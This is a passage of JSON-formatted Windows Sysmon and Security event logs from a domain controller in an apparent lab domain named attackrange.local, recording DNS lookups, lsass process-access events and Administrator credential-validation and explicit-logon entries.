{90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.attackrange.local.\r\nQueryStatus: 1460\r\nQueryResults: \r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.469","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.attackrange.local.","QueryStatus":"1460","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2260,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.922\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs.ATTACKRANGE.LOCAL.\r\nQueryStatus: 1460\r\nQueryResults: \r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.922","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs.ATTACKRANGE.LOCAL.","QueryStatus":"1460","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2261,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:09.052\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010460F0200}\r\nProcessId: 2760\r\nQueryName: win-dc-9849183\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:09.052","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010460F0200}","QueryName":"win-dc-9849183","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","EventReceivedTime":"2020-08-07 11:50:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2262,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:09.328\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nProcessId: 1220\r\nQueryName: wpad\r\nQueryStatus: 1460\r\nQueryResults: \r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:09.328","ProcessGuid":"{90617006-3FD4-5F2D-0000-00103DC30000}","QueryName":"wpad","QueryStatus":"1460","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2263,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:11.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 3652\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+70fae|C:\\Windows\\system32\\lsass.exe+3907|C:\\Windows\\SYSTEM32\\ntdll.dll+80a84|C:\\Windows\\SYSTEM32\\ntdll.dll+29c02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:11.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"3652","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+70fae|C:\\Windows\\system32\\lsass.exe+3907|C:\\Windows\\SYSTEM32\\ntdll.dll+80a84|C:\\Windows\\SYSTEM32\\ntdll.dll+29c02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2264,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:11.437\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:11.437","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2265,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:11.437\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:11.437","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2266,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:11.437\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:11.437","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2267,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:11.453\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:11.453","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2268,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:11.453\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:11.453","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4776,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14336,"OpcodeValue":0,"RecordNumber":221518,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"The computer attempted to validate the credentials for an account.\r\n\r\nAuthentication Package:\tMICROSOFT_AUTHENTICATION_PACKAGE_V1_0\r\nLogon Account:\tAdministrator\r\nSource Workstation:\tWIN-DC-9849183\r\nError Code:\t0x0","Category":"Credential Validation","Opcode":"Info","PackageName":"MICROSOFT_AUTHENTICATION_PACKAGE_V1_0","TargetUserName":"Administrator","Workstation":"WIN-DC-9849183","Status":"0x0","EventReceivedTime":"2020-08-07 11:50:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221519,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS 